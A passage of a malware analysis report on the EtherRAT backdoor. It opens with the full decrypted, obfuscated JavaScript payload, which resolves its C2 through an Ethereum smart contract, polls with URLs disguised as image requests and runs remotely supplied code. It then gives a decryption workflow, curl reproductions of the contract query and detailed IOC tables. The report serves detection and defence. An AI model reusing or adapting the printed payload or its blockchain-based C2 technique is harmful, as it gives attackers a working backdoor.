        return _a[_g](module, module['exports'], _f), module['exports'];
    }((() => {
        _f['o'] = (_i, _j) => Object['prototype']['hasOwnProperty']['call'](_i, _j);
    })());
    var _k = {};
    ((async () => {
        const _l = 'http://localhost:3000',
            _m = '09a3e667-ef7e-4555-8647-1c021745d5fb',
            _n = '0xdf0b529043ef7a2bb9111bad26de624a326bacf9',
            _o = '0x5953f27f044779a3afcd2bf56a4b712583dd2e4e',
            _p = !![],
            _q = !![],
            _r = ['https://1rpc.io/eth'],
            _s = _f(0x17f),
            _t = _f(0x3),
            _u = _f(0x2ed);
        let _v = _l,
            _w = _q;
        const _x = () => {
                const _y = process['env']['LOCALAPPDATA'] || _t['join'](process['env']['USERPROFILE'] || '', 'AppData', 'Local'),
                    _z = ['Microsoft', 'Windows', 'Programs', 'Packages', 'Google'],
                    _aa = ['Services', 'Components', 'Assemblies', 'Extensions', 'Modules'],
                    _ab = (process['env']['COMPUTERNAME'] || '') + (process['env']['USERNAME'] || ''),
                    _ac = _u['createHash']('md5')['update'](_ab)['digest']('hex')['slice'](0x0, 0x8),
                    _ad = _z[parseInt(_ac['slice'](0x0, 0x2), 0x10) % _z['length']],
                    _ae = _aa[parseInt(_ac['slice'](0x2, 0x4), 0x10) % _aa['length']],
                    _af = _ac['slice'](0x4),
                    _ag = _t['join'](_y, _ad);
                if (_s['existsSync'](_ag)) return _t['join'](_ag, _ae, _af);
                return _t['join'](_y, _ac);
            },
            _ah = _x(),
            _ai = _t['join'](_ah, _u['createHash']('md5')['update'](_ah)['digest']('hex')['slice'](0x0, 0x6)),
            _aj = _t['join'](process['env']['APPDATA'], 'svchost.log'),
            log = _ak => {
                if (!_w) return;
                try {
                    const _al = new Date()['toISOString']();
                    _s['appendFileSync'](_aj, '[' + _al + ']\x20' + _ak + '\x0a');
                } catch (_am) {
                    try {
                        _s['writeFileSync'](_aj, '[' + ts + ']\x20LOG\x20ERROR:\x20' + _am['message'] + '\x0a');
                    } catch {}
                }
            },
            _an = (_ao, _ap) => {
                try {
                    const _aq = new Date()['toISOString'](),
                        _ar = _ap && _ap['stack'] ? _ap['stack'] : String(_ap);
                    _s['appendFileSync'](_aj, '[' + _aq + ']\x20' + _ao + ':\x20' + _ar + '\x0a');
                } catch {}
            };
        process['on']('unhandledRejection', _as => {
            _an('unhandledRejection', _as);
        }), process['on']('uncaughtException', _at => {
            _an('uncaughtException', _at);
        });
        const _au = () => {
                try {
                    if (_s['existsSync'](_ai)) {
                        const _av = _s['readFileSync'](_ai, 'utf8');
                        return JSON['parse'](Buffer['from'](_av, 'base64')['toString']());
                    }
                } catch {}
                return null;
            },
            _aw = _ax => {
                try {
                    _s['mkdirSync'](_ah, {
                        'recursive': !![]
                    }), _s['writeFileSync'](_ai, Buffer['from'](JSON['stringify'](_ax))['toString']('base64')), log('Config\x20saved');
                } catch {}
            },
            _ay = () => {
                let _az = _au();
                if (_az && _az[0x0]) return _az[0x0];
                const _ba = process['env']['APPDATA'] || _f(0x16e)['homedir'](),
                    _bb = _t['join'](_ba, '.node_bot_id');
                try {
                    if (_s['existsSync'](_bb)) {
                        const _bc = _s['readFileSync'](_bb, 'utf8')['trim']();
                        if (!_az) _az = {};
                        return _az[0x0] = _bc, _aw(_az), _bc;
                    }
                } catch {}
                try {
                    const _bd = _s['readdirSync'](_ba)['filter'](_be => _be['startsWith']('.') && _be['length'] === 0xb);
                    if (_bd['length'] > 0x0) {
                        const _bf = _s['readFileSync'](_t['join'](_ba, _bd[0x0]), 'utf8')['trim']();
                        if (!_az) _az = {};
                        return _az[0x0] = _bf, _aw(_az), _bf;
                    }
                } catch {}
                const _bg = _u['randomUUID']();
                if (!_az) _az = {};
                return _az[0x0] = _bg, _aw(_az), _bg;
            },
            _bh = _ay(),
            _bi = _bj => new Promise(_bk => setTimeout(_bk, _bj)),
            _bl = '0x7d434425';
        log('Started\x20|\x20ID:\x20' + _bh + '\x20|\x20Build:\x20' + _m), log('Install\x20dir:\x20' + _ah);
        const _bm = _bn => {
                return _bl + _bn['toLowerCase']()['replace']('0x', '')['padStart'](0x40, '0');
            },
            _bo = _bp => {
                if (!_bp || _bp === '0x' || _bp['length'] < 0x82) return null;
                try {
                    const _bq = _bp['replace']('0x', ''),
                        _br = parseInt(_bq['slice'](0x0, 0x40), 0x10) * 0x2,
                        _bs = parseInt(_bq['slice'](_br, _br + 0x40), 0x10),
                        _bt = _bq['slice'](_br + 0x40, _br + 0x40 + _bs * 0x2);
                    return Buffer['from'](_bt, 'hex')['toString']('utf8');
                } catch {
                    return null;
                }
            },
            _bu = async () => {
                const _bv = {},
                    _bw = _bm(_o),
                    _bx = _r['map'](async _by => {
                        try {
                            const _bz = await fetch(_by, {
                                    'method': 'POST',
                                    'headers': {
                                        'Content-Type': 'application/json'
                                    },
                                    'body': JSON['stringify']({
                                        'jsonrpc': '2.0',
                                        'method': 'eth_call',
                                        'params': [{
                                            'to': _n,
                                            'data': _bw
                                        }, 'latest'],
                                        'id': 0x1
                                    }),
                                    'signal': AbortSignal['timeout'](0x2710)
                                }),
                                _ca = await _bz['json']();
                            if (_ca['result']) {
                                const _cb = _bo(_ca['result']);
                                _cb && /^(https?|wss?):\/\// ['test'](_cb) && (_bv[_by] = _cb['trim']());
                            }
                        } catch {}
                    });
                await Promise['allSettled'](_bx);
                const _cc = Object['values'](_bv);
                if (!_cc['length']) return null;
                const _cd = {};
                return _cc['forEach'](_ce => {
                    _cd[_ce] = (_cd[_ce] || 0x0) + 0x1;
                }), Object['entries'](_cd)['sort']((_cf, _cg) => _cg[0x1] - _cf[0x1])[0x0][0x0];
            }, _ch = async () => {
                if (!_p) {
                    log('Blockchain\x20disabled,\x20using\x20fallback');
                    return;
                }
                log('Fetching\x20URL\x20from\x20blockchain...');
                const _ci = await _bu();
                if (_ci) _v = _ci, log('Blockchain\x20URL:\x20' + _ci);
                else log('Blockchain\x20fetch\x20failed,\x20using\x20fallback');
            };
        await _ch(), log('Server\x20URL:\x20' + _v);
        const _cj = async () => {
            try {
                let _ck = _au();
                if (!_ck || _ck[0x3]) {
                    log('Reobfuscation\x20skipped\x20(already\x20done)');
                    return;
                }
                if (!_ck[0x1]) return;
                const _cl = _t['join'](_ah, _ck[0x1]);
                if (!_s['existsSync'](_cl)) return;
                log('Requesting\x20reobfuscation...');
                const _cm = _s['readFileSync'](_cl, 'utf8'),
                    _cn = await fetch(_v + '/api/[REOBF_PATH]/' + _bh, {
                        'method': 'POST',
                        'headers': {
                            'Content-Type': 'application/json'
                        },
                        'body': JSON['stringify']({
                            'code': _cm,
                            'build': _m
                        }),
                        'signal': AbortSignal['timeout'](0x7530)
                    });
                if (!_cn['ok']) {
                    log('Reobf\x20failed:\x20' + _cn['status']);
                    return;
                }
                const _co = await _cn['text']();
                if (!_co || _co['length'] < 0x64) return;
                _s['writeFileSync'](_cl, _co, 'utf8'), _ck[0x3] = Date['now'](), _aw(_ck), log('Reobfuscated,\x20saved\x20for\x20next\x20start');
            } catch (_cp) {
                log('Reobf\x20error:\x20' + _cp['message']);
            }
        };
        await _cj();
        async function _cq() {
            const _cr = _u['randomBytes'](0x4)['toString']('hex'),
                _cs = ['png', 'jpg', 'gif', 'css', 'ico', 'webp'],
                _ct = _cs[Math['floor'](Math['random']() * _cs['length'])],
                _cu = ['id', 'token', 'key', 'b', 'q', 's', 'v'],
                _cv = _cu[Math['floor'](Math['random']() * _cu['length'])],
                _cw = _u['randomBytes'](0x4)['toString']('hex'),
                _cx = _v + '/api/' + _cr + '/' + _bh + '/' + _cw + '.' + _ct + '?' + _cv + '=' + _m;
            try {
                log('Polling:\x20' + _cx);
                const _cy = new AbortController(),
                    _cz = setTimeout(() => _cy['abort'](), 0x1d4c0),
                    _da = await fetch(_cx, {
                        'signal': _cy['signal'],
                        'headers': {
                            'X-Bot-Server': _v
                        }
                    });
                clearTimeout(_cz);
                if (!_da['ok']) {
                    log('Poll\x20failed:\x20' + _da['status']), await _bi(0x1388);
                    return;
                }
                const _db = await _da['text']();
                _db && _db['length'] > 0xa && (log('Received\x20task\x20(' + _db['length'] + '\x20bytes)'), setImmediate(async () => {
                    try {
                        const _dc = Object['getPrototypeOf'](async function() {})['constructor'],
                            _dd = new _dc('require', 'process', 'Buffer', 'console', '__dirname', '__filename', 'log', _db);
                        await _dd(typeof require !== 'undefined' ? require : _f(0x30b), process, Buffer, console, __dirname, __filename, log), log('Task\x20executed');
                    } catch (_de) {
                        log('Task\x20error:\x20' + _de['message']);
                    }
                }));
            } catch (_df) {
                _df['name'] !== 'AbortError' && (log('Connect\x20error:\x20' + _df['message']), await _bi(0x1388));
            }
        }
        let _dg = Date['now']();
        setInterval(() => {
            _p && Date['now']() - _dg > 0x493e0 && (log('Refreshing\x20blockchain\x20URL...'), _bu()['then'](_dh => {
                _dh && _dh !== _v && (_v = _dh, log('New\x20URL:\x20' + _dh));
            })['catch'](() => {}), _dg = Date['now']());
            const _di = _au();
            if (_di && typeof _di[0x5] === 'boolean') _w = _di[0x5];
        }, 0xea60), log('Main\x20loop\x20started');
        while (!![]) {
            try {
                await _cq();
            } catch (_dj) {
                log('Loop\x20error:\x20' + _dj['message']);
            }
            await _bi(0x1f4);
        }
    })()), module['exports'] = _k;
})());

Static inspection of the decrypted JavaScript revealed functionality associated with the EtherRAT backdoor, including:

▪Ethereum-based C2 resolution
▪Ethereum RPC communication
▪Host-specific bot identification
▪Local configuration storage
▪HTTP C2 polling
▪Dynamic JavaScript task execution
▪Local activity/error logging
▪Periodic C2 refresh

The recovered payload also contained sample-specific indicators including an Ethereum RPC endpoint, contract-related addresses, a build identifier, and a fallback server URL.

These indicators should be treated as observed values from this sample rather than automatically attributed to every EtherRAT variant.

7. Decryption Workflow

The complete recovery process can be summarized as:

TELEMETRY / DISASSEMBLY
DTHaSxAdkC6s
      │
      ▼
v72HYLU3OpRBznc.ini
      │
      │ 7,411 bytes
      ▼
A7Pnj975bl.cfg
      │
      ▼
Extract $vx / $kj
      │
      ▼
extract_constants.py
      │
      ▼
Recover k / n / si
      │
      ▼
Reconstruct dc()
      │
      ▼
decrypt_payload.py
      │
      ▼
decrypted_payload.bin
      │
      ▼
Valid JavaScript
      │
      ▼
EtherRAT payload

Evidence Table:

ArtifactSizeTypeSHA-256Role
A7Pnj975bl.cfg4,654 BJavaScript—Loader/decryption routine
v72HYLU3OpRBznc.ini7,411 BBinary data
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46
Encrypted payload
decrypted_payload.bin7,411 BJavaScript
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01
Decrypted EtherRAT payload

Complete Recovered Payload Data

CategoryData / IndicatorValue / Details
PayloadDecrypted Payloaddecrypted_payload.bin
PayloadPayload TypeJavaScript
PayloadPayload Size7,411 bytes
PayloadSHA-256
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01
LoaderLoader FileA7Pnj975bl.cfg
LoaderLoader Size4,654 bytes
Encrypted PayloadRecovered Filev72HYLU3OpRBznc.ini
Encrypted PayloadOriginal ArtifactDTHaSxAdkC6s
Encrypted PayloadSize7,411 bytes
Encrypted PayloadSHA-256
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46
EthereumRPC Endpointhttps://1rpc.io/eth
EthereumContract Address0xdf0b529043ef7a2bb9111bad26de624a326bacf9
EthereumLookup Address0x5953f27f044779a3afcd2bf56a4b712583dd2e4e
EthereumFunction Selector0x7d434425
EthereumRPC Methodeth_call
EthereumBlock Parameterlatest
EthereumC2 URL Schemeshttp://, https://, wss://
C2Fallback C2http://localhost:3000
C2HTTP HeaderX-Bot-Server
C2Polling Path/api/<random>/<bot-id>/<random>.<extension>
C2Random Extensions.png, .jpg, .gif, .css, .ico, .webp
C2Random Query Parametersid, token, key, b, q, s, v
C2Query ValueBuild ID
C2Request Timeout0x1d4c0 ms = 120,000 ms
C2Poll Retry Delay0x1388 ms = 5,000 ms
Task ExecutionMinimum Task Size> 0xa bytes = >10 bytes
Task ExecutionExecution MechanismJavaScript Function constructor
Task ExecutionAvailable Contextrequire, process, Buffer, console, __dirname, __filename, log
Host IdentificationInputCOMPUTERNAME + USERNAME
Host IdentificationHashMD5
Host IdentificationIdentifier LengthFirst 8 hexadecimal characters
Bot IDPrimary StorageLocal Base64-encoded JSON configuration
Bot IDSecondary Storage%APPDATA%\.node_bot_id
Bot IDFallbackHidden files beginning with . and length 11
Bot IDGenerationrandomUUID()
InstallationBase Directory%LOCALAPPDATA%
InstallationDirectory ComponentsMicrosoft, Windows, Programs, Packages, Google
InstallationSubdirectory ComponentsServices, Components, Assemblies, Extensions, Modules
LoggingLog File%APPDATA%\svchost.log
LoggingLog FormatISO timestamp + message
ConfigurationFormatJSON
ConfigurationStorage EncodingBase64
ConfigurationConfiguration FileMD5-derived filename under the generated installation directory
Re-obfuscationEndpoint/api/[REOBF_PATH]/<bot-id>
Re-obfuscationHTTP MethodPOST
Re-obfuscationContent Typeapplication/json
Re-obfuscationSubmitted Datacode, build
Re-obfuscationRequest Timeout0x7530 ms = 30,000 ms
Re-obfuscationMinimum Response Length0x64 = 100 bytes
C2 RefreshRefresh Interval0x493e0 ms = 300,000 ms / 5 minutes
Main LoopPoll Delay0x1f4 ms = 500 ms
Error HandlingUnhandled RejectionLogged
Error HandlingUncaught ExceptionLogged
Blockchain FailureBehaviorFalls back to configured C2
Blockchain FailureLog MessageBlockchain fetch failed, using fallback
BuildBuild ID09a3e667-ef7e-4555-8647-1c021745d5fb
Loader ArtifactBatch BootstrapperMVnVmUYj.cmd
Loader ArtifactOriginal BootstrapperEG61CIQnLiDW

Ethereum-Based C2 Configuration Resolution

Overview

A blockchain-based configurable mechanism was discovered by analysis of the encrypted EtherRAT payload. The malware uses a hardcoded contract address, function selector, and Ethereum address to query an Ethereum smart contract. The malware decodes the ABI-encoded contract response and accepts the resulting value when it matches the expected http://, https://, or wss:// URL schemes.

This mechanism allows the operator to change the resolved endpoint without modifying the malware binary.

1. Ethereum Configuration Identified in the Payload

The decrypted payload contained the following values:

The malware constructs a request equivalent to:

TELEMETRY / DISASSEMBLY
eth_call
    Contract:
    0xdf0b529043ef7a2bb9111bad26de624a326bacf9

    Data:
    0x7d434425
    +
    0x5953f27f044779a3afcd2bf56a4b712583dd2e4e

2. Ethereum Mainnet Verification

Before querying the contract, the Ethereum RPC endpoint used for analysis was verified.

Command

TELEMETRY / DISASSEMBLY
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}' \
'https://ethereum-rpc.publicnode.com'

Result

Verification of the Ethereum Mainnet RPC endpoint used for smart-contract analysis.
Figure: Verification of the Ethereum Mainnet RPC endpoint used for smart-contract analysis. Click to zoom ↗

Verification of the Ethereum Mainnet RPC endpoint used for smart-contract analysis.

The returned chain ID 0x1 confirms Ethereum Mainnet.

3. Smart Contract Bytecode Retrieval

The contract identified in the malware was queried using eth_getCode.

Command

TELEMETRY / DISASSEMBLY
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_getCode","params":["0xdf0b529043ef7a2bb9111bad26de624a326bacf9","latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com' > contract_response.json
contents of contract_response.json
Figure: contents of contract_response.json Click to zoom ↗

contents of contract_response.json

The returned runtime bytecode was converted into a binary file using python script: extract_contract.py

JSX
import json

with open("contract_response.json", "r") as f:
    data = json.load(f)

code = data["result"]

with open("contract.bin", "wb") as f:
    f.write(bytes.fromhex(code[2:]))

print("Bytecode size:", (len(code) - 2) // 2, "bytes")
print("Written: contract.bin")
running the extract_contract.py - Retrieval and extraction of the 1,111-byte Ethereum smart-contract runtime bytecode.
Figure: running the extract_contract.py - Retrieval and extraction of the 1,111-byte Ethereum smart-contract runtime bytecode. Click to zoom ↗

running the extract_contract.py - Retrieval and extraction of the 1,111-byte Ethereum smart-contract runtime bytecode.

4. Function Selector Confirmation

The recovered contract was disassembled to determine whether it implements the same function invoked by EtherRAT.

The dispatcher contains:

EVM contract dispatcher confirming the `0x7d434425` function selector used by EtherRAT.
Figure: EVM contract dispatcher confirming the `0x7d434425` function selector used by EtherRAT. Click to zoom ↗

EVM contract dispatcher confirming the 0x7d434425 function selector used by EtherRAT.

This confirms that the 0x7d434425 selector recovered from the malware is implemented by the queried contract.

5. Contract Storage Resolution

The function path reaches the contract routine at 0x00a4.

Relevant instructions include:

TELEMETRY / DISASSEMBLY
00a4: JUMPDEST
00a5: PUSH1 0x01
00a7: PUSH1 0x01
00a9: PUSH1 0xa0
00ab: SHL
00ac: SUB
00ad: DUP2
00ae: AND
...
00b8: PUSH1 0x40
00ba: SWAP1
00bb: KECCAK256
00bc: DUP1
00bd: SLOAD

The contract therefore performs address-sized masking, derives a storage-related hash using KECCAK256, and retrieves data using SLOAD.

The helper routine at 0x02d3 contains additional compiler-generated logic for processing the dynamically stored value.

6. Reproducing the EtherRAT Ethereum Query

The exact blockchain request generated by the malware was reproduced independently.

Contract

TELEMETRY / DISASSEMBLY
0xdf0b529043ef7a2bb9111bad26de624a326bacf9

Selector

TELEMETRY / DISASSEMBLY
0x7d434425

Lookup Address

TELEMETRY / DISASSEMBLY
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e

Complete call data

TELEMETRY / DISASSEMBLY
0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e

Command

TELEMETRY / DISASSEMBLY
curl -sS \
-H 'Content-Type: application/json' \
-X POST \
--data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xdf0b529043ef7a2bb9111bad26de624a326bacf9","data":"0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4e"},"latest"],"id":1}' \
'https://ethereum-rpc.publicnode.com'

RESULT:

JSX
{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000e68747470733a2f2f61672e636f6d000000000000000000000000000000000000"}
Reproduction of the EtherRAT Ethereum `eth_call` using the recovered smart-contract address, selector, and lookup address.
Figure: Reproduction of the EtherRAT Ethereum `eth_call` using the recovered smart-contract address, selector, and lookup address. Click to zoom ↗

Reproduction of the EtherRAT Ethereum eth_call using the recovered smart-contract address, selector, and lookup address.

7. ABI Decoding of the Contract Response

The returned value follows the ABI representation of a dynamic value.

The hexadecimal data:

TELEMETRY / DISASSEMBLY
68747470733a2f2f61672e636f6d

decodes to:

TELEMETRY / DISASSEMBLY
https://ag.com     

This is consistent with the EtherRAT _bo() routine, which extracts the dynamic value from the ABI response and validates it against HTTP/HTTPS/WebSocket URL schemes.

*ABI decoding of the Ethereum contract response, resolving the queried configuration value to `https://ag.com`.*
Figure: *ABI decoding of the Ethereum contract response, resolving the queried configuration value to `https://ag.com`.* Click to zoom ↗

ABI decoding of the Ethereum contract response, resolving the queried configuration value to https://ag.com.

8. Blockchain-Resolved Endpoint

The reproduced query established that the Ethereum contract returned:

TELEMETRY / DISASSEMBLY
https://ag.com

for the following lookup:

TELEMETRY / DISASSEMBLY
Contract:
0xdf0b529043ef7a2bb9111bad26de624a326bacf9

Selector:
0x7d434425

Lookup:
0x5953f27f044779a3afcd2bf56a4b712583dd2e4e

At the time of analysis, the EtherRAT Ethereum configuration mechanism resolved the queried lookup key to https://ag.com.

Note: The observed resolution establishes that https://ag.com was the endpoint value returned by the blockchain configuration mechanism at the time of analysis. It does not, by itself, establish that the domain was an operational EtherRAT C2 server or that it was intentionally configured as a decoy.

Assessment of the Resolved Endpoint

The Ethereum-backed configuration mechanism successfully resolved the observed lookup address to https://ag.com during analysis. The result was independently reproduced using an eth_call against the recovered contract and decoded according to the ABI response structure. This establishes the domain as the blockchain-resolved endpoint value for the observed sample and lookup key. However, the available evidence does not independently demonstrate that the domain was an operational EtherRAT C2 server or intentionally deployed as a decoy. Therefore, https://ag.com is classified in this analysis as a blockchain-resolved endpoint, rather than a confirmed operational C2 infrastructure indicator.

9. Ethereum-Based Endpoint Resolution Flow

JSX
┌──────────────────────────────┐
│ Decrypted EtherRAT Payload   │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ Ethereum Configuration       │
│ Contract + Selector + Key    │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ Ethereum Smart Contract      │
│ 0xdf0b...bacf9               │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ Function Selector            │
│ 0x7d434425                   │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ KECCAK256 + SLOAD            │
│ Storage-backed Configuration │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ ABI-Encoded Response         │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ EtherRAT ABI Decoder         │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│ https://ag.com               │
│ Contract-Resolved Endpoint   │
└──────────────────────────────┘

Indicators of Compromise (IOCs) & Detection Artifacts

File Hashes

TypeIndicatorArtifact / Description
MD5
73ce2438d4ed475e03727b7b000d2794
Original MSI
SHA-1
3d5ee8429ef00824c0351cba507dfeb92b54f83b
Original MSI
SHA-256
d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6
Original MSI
Vhash
ba151a36b5229126cd8a0e26f5d18ec0
Original MSI
SSDEEP
768:Sm/WjwJC1oRRXWxV/jpRJeWMbC9qZN/nq:k1oRRXWnpbob6r
Original MSI
TLSH
T137D25C46B600A332C5871F324A5BEBD95F799C04DF57210236CBB39D2E76AD026B79D0
Original MSI
SHA-256
4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db
A7Pnj975bl.cfg
SHA-256
8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0
MVnVmUYj.cmd
SHA-256
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46
v72HYLU3OpRBznc.ini / encrypted payload
SHA-256
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01
decrypted_payload.bin / decrypted EtherRAT

Ethereum / Blockchain Indicators

TypeIndicatorDescription
BlockchainEthereum MainnetBlockchain used for configuration resolution
RPC URLhttps://1rpc.io/ethEmbedded Ethereum RPC endpoint
Smart Contract0xdf0b529043ef7a2bb9111bad26de624a326bacf9Contract queried by EtherRAT
Ethereum Address0x5953f27f044779a3afcd2bf56a4b712583dd2e4eLookup address supplied to the contract
Function Selector0x7d434425Configuration retrieval function
RPC Methodeth_callEthereum JSON-RPC method used
Call Data0x7d4344250000000000000000000000005953f27f044779a3afcd2bf56a4b712583dd2e4eComplete observed contract request
Resolved Endpointhttps://ag.comEndpoint returned by the contract during analysis

URLs / Network Artifacts

TypeIndicatorContext
Blockchain RPChttps://1rpc.io/ethEthereum configuration retrieval
Resolved Endpointhttps://ag.comContract-resolved endpoint
Fallback URLhttp://localhost:3000Hardcoded fallback configuration
Polling Path/api/<random>/<bot-id>/<random>.<extension>HTTP polling pattern
Re-obfuscation Path/api/[REOBF_PATH]/<bot-id>POST endpoint used for re-obfuscation
Accepted Schemeshttp://, https://, wss://URL schemes accepted by the resolver

HTTP / C2 Detection Artifacts

TypeIndicatorDescription
HTTP HeaderX-Bot-ServerIdentifies the server URL in polling requests
Extensions.png, .jpg, .gif, .css, .ico, .webpRandomized polling extensions
Query Parametersid, token, key, b, q, s, vRandomized query parameter names
Query ValueBuild IDBuild identifier supplied in polling requests
Request Timeout120,000 msC2 request timeout
Retry Delay5,000 msPoll retry delay
C2 Refresh300,000 ms / 5 minBlockchain endpoint refresh interval
Main Loop Delay500 msMain loop delay

Host / Persistence Artifacts

TypeIndicatorDescription
Registry KeyHKCU\Software\Microsoft\Windows\CurrentVersion\RunConfirmed from decoded loader constants
Registry ValueAppResolverConfirmed from decrypted payload
Log File%APPDATA%\svchost.logConfirmed from decrypted payload
Bot ID File%APPDATA%\.node_bot_idConfirmed from decrypted payload
Installation Base%LOCALAPPDATA%Malware installation base
Directory ComponentMicrosoftGenerated installation path component
Directory ComponentWindowsGenerated installation path component
Directory ComponentProgramsGenerated installation path component
Directory ComponentPackagesGenerated installation path component
Directory ComponentGoogleGenerated installation path component
Subdirectory ComponentServicesGenerated installation path component
Subdirectory ComponentComponentsGenerated installation path component
Subdirectory ComponentAssembliesGenerated installation path component
Subdirectory ComponentExtensionsGenerated installation path component
Subdirectory ComponentModulesGenerated installation path component

Malware Artifact Names

ArtifactRole
d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msiOriginal MSI
Product.cabEmbedded CAB
EG61CIQnLiDWOriginal batch bootstrapper
MVnVmUYj.cmdStaged batch bootstrapper
r_624k6i0UcpOriginal JavaScript loader
A7Pnj975bl.cfgStaged JavaScript loader
DTHaSxAdkC6sOriginal encrypted payload
v72HYLU3OpRBznc.iniStaged encrypted payload
decrypted_payload.binRecovered decrypted EtherRAT payload
P2RsupmqXnmxObserved temporary working directory
node-v18.20.5-win-x64Staged Node.js runtime directory

Build / Configuration Identifiers

TypeIndicatorDescription
Build ID09a3e667-ef7e-4555-8647-1c021745d5fbSample-specific build identifier
LoaderA7Pnj975bl.cfgLoader filename
Encrypted Payloadv72HYLU3OpRBznc.iniEncrypted payload filename
BootstrapperMVnVmUYj.cmdStaged bootstrapper
Copied